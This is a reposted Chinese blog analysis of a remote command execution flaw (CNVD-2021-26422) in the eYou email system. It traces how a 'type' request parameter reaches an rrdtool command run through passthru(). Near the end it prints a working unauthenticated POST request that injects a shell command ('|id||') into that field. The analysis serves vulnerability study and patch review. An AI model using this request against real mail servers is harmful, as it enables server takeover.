网安教育
培养网络安全人才
技术交流、学习咨询
北京亿中邮信息技术有限公司(亿邮)是一款专业的邮件系统软件及整体解决方案提供商。
亿邮电子邮件系统远程命令执行漏洞,攻击者利用该漏洞可在未授权的情况实现远程命令执行,获取目标服务器权限。
刚拿到亿邮的代码,就简单看了下这次漏洞的成因,总的来说就是命令注入导致的命令执行漏洞,由于没动态调试,纯肉眼看难免会不当之处,敬请谅解。
漏洞起因在lib/php/ui/web/action/admin/em_controller_action_moni_detail.class.php
1public function action_do()
2{
3 $action = $this->__request->get_request('action', null);
4 switch ($action) {
5 case 'gragh': // 获取图像
6 $this->_get_graph();
7 break;
8
9 case 'save_config': // 保存用户配置
10 $this->_save_config();
11 break;
12
13 case 'save_fav': // 保存用户收藏配置
14 $this->_save_host_fav();
15 break;
16
17 case 'zoom':
18 return $this->json_stdout(array('res' => 0, 'data' => array()));
19 break;
20
21 default:
22 $this->_php_assert('Location: em_controller_action_admin_notice_manager::action_default()');
23 }
24}
当传入的action参数为graph时,会进入到_get_graph函数
1 protected function _get_graph()
2 {
3 $cluster = $this->__request->get_request('cluster', '');
4 hostname = $this->__request->get_request('hostname', 'elephant110');
5 $type = $this->__request->get_request('type', 'cpu_report');
6
7 $date_type = $this->__request->get_request('date_type', 'hour');
8 $date_value = $this->__request->get_request('date_value', '1');
9 $columns = $this->__request->get_request('columns', 2);
10 $size = $this->__request->get_request('size', 'small');
11
12 require_once PATH_EYOUM_LIB . 'em_monitor.class.php';
13 $graph = new em_monitor;
14
15 $condition = em_condition::factory('monitor', 'report:get_report');
16 $condition->set_clustername($cluster);
17 $condition->set_hostname($hostname);
18
19 // 默认图形
20 switch ($type) {
21 case 'cpu_report':
22 case 'mem_report':
23 case 'network_report':
24 case 'packet_report':
25 case 'load_report':
26 $condition->set_graph($type);
27 break;
28
29 // metric 图形
30 default:
31 $condition->set_graph('metric');
32 $condition->set_metricname($type);
33 break;
34 }
35
36 $size_array = $this->_get_recover_size($type);
37 $graph->set_graph_size($size_array);
38
39 $condition->set_size($size);
40 $start = em_monitor::get_start_timestamp($date_value . ' ' . $date_type);
41 $condition->set_start($start);
42 $condition->set_end('now');
43
44 $graph->set_graph($condition);
45 $graph->set_debug(true);
46 $graph->draw();
47}
这块代码是整个漏洞的核心,当传入type参数时会进入到switch选择,但是如果不为case列表中的参数,则会进入到default里面,最终进入到set_metricname函数,有经验的同学看到set起头的函数,应该都知道,这是一个用来给condition进行key-value赋值的函数,接着又将condition作为参数,通过set_graph的形式赋值给了graph的graph键,最后进行draw。
其实看到这里已经能够猜到了,最后的draw一定调用了执行命令的参数,并且是对condition参数进行了某种形式的拼接,从而产生的漏洞,那么带着这样的思路,进入到draw函数里面去看。
首先来看上面提到的set_graph函数,看看我们可控的type,继而控制的condition参数是如何进行赋值的
1public function set_graph(em_condition_adapter_monitor_report_get_report $condition)
2{
3 $condition->check_params();
4
5 $clustername = $condition->get_clustername();
6 $hostname = $condition->get_hostname();
7 $metricname = $condition->get_metricname();
8 $graph = $condition->get_graph();
9
10 $title = $condition->get_title();
11 $size = $condition->get_size();
12 $start = $condition->get_start();
13 $end = $condition->get_end();
14 $uppper_limit = $condition->get_upper_limit();
15 $lower_limit = $condition->get_lower_limit();
16 $vlabel = $condition->get_vlabel();
17
18 $rrd_dir = $this->__rrd_datadir . "/$clustername/$hostname";
19
20 // rrdtool 命令参数
21 $this->__graph[] = $this->__rrdtool;
22 $this->__graph[] = 'graph -';
23
24 if (isset($start) && isset($end)) {
25 $this->__graph[] = "--start $start";
26 $this->__graph[] = "--end $end";
27 }
28
29 $profile = array();
30 $path = PATH_EYOUM_LIB . 'monitor/em_monitor_adapter_' . $graph . '.class.php';
31 if (file_exists($path)) { // 内部 adapter
32 require_once $path;
33
34 $class = 'em_monitor_adapter_' . $graph;
35 if (!class_exists($class)) {
36 throw new em_monitor_exception(gettext('get profile failure.'));
37 }
38 $class_object = new $class;
39
40 $method = 'graph_' . $graph;
41
42 $params = array(
43 'size' => $size,
44 'graph_sizes' => $this->__graph_sizes,
45 'rrd_dir' => $rrd_dir,
46
47 'upper_limit' => $uppper_limit,
48 'lower_limit' => $lower_limit,
49 'vlabel' => $vlabel,
50 'metricname' => $metricname,
51 );
52
53 $profile = $class_object->$method($params);
54
55 if (isset($title)) {
56 $profile['title'] = $title;
57 }
58 } else { // 插件
59 $params = array(
60 'size' => $size,
61 'graph_sizes' => $this->__graph_sizes,
62 'rrd_dir' => $rrd_dir,
63 );
64
65 $container = new stdClass();
66 $container->profile = array();
67
68 em_plugin_helper::import_plugin('monitor');
69 em_event_helper::trigger(em_event_helper::property_factory(
70 'on_init_monitor_graph',
71 array(
72 $params,
73 $container,
74 )
75 ));
76
77 if (empty($container->profile)) {
78 throw new em_monitor_exception(gettext('get profile failure.'));
79 }
80
81 $profile = $container->profile[$graph];
82 }
83
84 if (empty($profile)) {
85 throw new em_monitor_exception(gettext('get profile failure.'));
86 }
87
88 foreach ($profile as $key => $value) {
89 if (preg_match('/extras|series/', $key)) {
90 continue;
91 }
92
93 if (preg_match('/W/', $value)) {
94 //more than alphanumerics in value, so quote it
95 $value = "'$value'";
96 }
97 $this->__graph[] = "--$key $value";
98 }
99
100 if (isset($profile['extras'])) {
101 $this->__graph[] = $profile['extras'];
102 }
103
104 if (!isset($profile['series'])) {
105 throw new em_monitor_exception(gettext('failed to get data.'));
106 } else {
107 $this->__graph[] = $profile['series'];
108 }
109}
这里可以看到,首先通过get_metricname函数将我们赋值进行的type参数给取了出来,然后赋值给metricname变量,之后又通过调用lib/php/monitor/em_monitor_adapter_metric.class.php,这里为什么是em_monitor_adapter_metric.class.php,重点看上面是如何进行graph变量赋值的,还是switch函数最终进入到default,然后将condition['graph']设置为metric,跟进到em_monitor_adapter_metric.class.php的graph_metric函数,在这个地方进行了profile的定义
1public function graph_metric($params)
2{
3 foreach ($params as $k => $v) {
4 $$k = $v;
5 }
6
7 $rrdtool_graph['title'] = $metricname;
8 $rrdtool_graph['height'] = $graph_sizes[$size]['height'];
9 $rrdtool_graph['width'] = $graph_sizes[$size]['width'];
10
11 if (isset($upper_limit) && is_numeric($upper_limit)) {
12 $rrdtool_graph['upper-limit'] = $upper_limit;
13 }
14
15 if (isset($lower_limit) && is_numeric($lower_limit)) {
16 $rrdtool_graph['lower-limit'] = $lower_limit;
17 }
18
19 if ($vlabel) {
20 // We should set $vlabel, even if it isn't used for spacing
21 // and alignment reasons. This is mostly for aesthetics
22 $temp_vlabel = trim($vlabel);
23 $rrdtool_graph['vertical-label'] = strlen($temp_vlabel)
24 ? $temp_vlabel
25 : ' ';
26 } else {
27 $rrdtool_graph['vertical-label'] = ' ';
28 }
29
30 // the actual graph...
31 $series = "DEF:'sum'='$rrd_dir/$metricname.rrd:sum':AVERAGE ";
32 $series .= "AREA:'sum'#$this->__default_metric_color:'$metricname':STACK";
33
34 $rrdtool_graph['series'] = $series;
35
36 return $rrdtool_graph;
37}
其实只要看metricname即可,可以看到我们可以控制的type变量经过conditoin['metricname'],经过metricname,最后赋值给了rrdtool_graph['title'],并且这里比较关键的是如何进行字段拼接,重点看上面set_graph函数,rrdtool_graph作为return变量付给了profile,然后对profile的key/value进行检查,如果value为字符串,则用引号包裹,那么其实有点类似于"--title '$type'"这样,到这里已经有点水落石出的意思。
最后我们来到graph->draw函数
1public function draw()
2{
3 $command = implode(' ', $this->__graph);
4
5 /*Make sure the image is not cached*/
6 header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
7 header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); // always modified
8 header ("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
9 header ("Pragma: no-cache"); // HTTP/1.0
10
11 if ($this->__debug) {
12 $fp = fopen('/tmp/monitor.log', 'w');
13 fwrite($fp, $command . "n");
14 fclose($fp);
15 }
16
17 header ("Content-type: image/gif");
18 passthru($command);
19}
通过空格进行切割,用passthru来执行command变量,看到这里,就应该能知道怎么执行命令了。通过查看/tmp/monitor.log也应证了我的猜想。
1/usr/local/eyou/mail/opt/bin/rrdtool graph - --start 1618627792 --end now --title '$type':STACK
所以这里的type就成功注入到执行的命令里去了。
1POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
2Host: xx.com
3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:67.0) Gecko/20100101 Firefox/67.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6Content-Type: application/x-www-form-urlencoded
7Content-Length: 12
8Connection: close
9Upgrade-Insecure-Requests: 1
10
11type='|id||'
简单看了下补丁的可执行文件,比较简单粗暴,将ui/web/action/admin/em_controller_action_admin_moni_setting.class.php ui/web/action/admin/em_controller_action_admin_moni_fav.class.php ui/web/action/admin/em_controller_action_admin_moni_detail.class.php三个文件都进行了删除,实际上如果你看这三个文件,会发现都有同样的命令注入问题,这么这么简单粗暴的修复也何尝不是一种解决办法。
在分析过程中由于没有动态调试,有一点看的不是明白,那就是如何未授权这个点,在ui/web/action/admin/em_controller_action_admin_moni_setting.class.php这些文件中实际上都进行了权限认证
1case 'admin':
2 if (false === $is_json) {
3 if (self::$not_login_user) {
4 $url_path = em_config::get('admin_url_name');
5 $HTML =<<<ENDHTML
6<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">
7
23</script></head><body></body></html>
24 ENDHTML;
25 $this->get_response()->clear_body();
26 $this->get_response()->append_body($HTML,'unlogin');
27 return false;
28 }
29
30 if ($is_check_zone) {
31 return $this->check_zone($module, $is_json);
32 }
33 } else { // json格式
34 if (self::$not_login_user) {
35 $this->json_stdout(array('_login' => 0));
36 return false;
37 }
38
39 if ($is_check_zone) {
40 return $this->check_zone($module, $is_json);
41 }
42 }
43
44 return true;
45 break;
这里根据笔者逻辑来走,应该是返回false,最终return空,导致下面的流程进行不下去,所以这点上还是有点不太明白,需要进一步结合整个框架源码深入分析。
原文链接:http://foreversong.cn/archives/1570
版权声明:著作权归作者所有。如有侵权请联系删除
战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
本文始发于微信公众号(开源聚合网络空间安全研究院):【漏洞详解】亿邮电子远程命令执行漏洞分析(CNVD-2021-26422)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论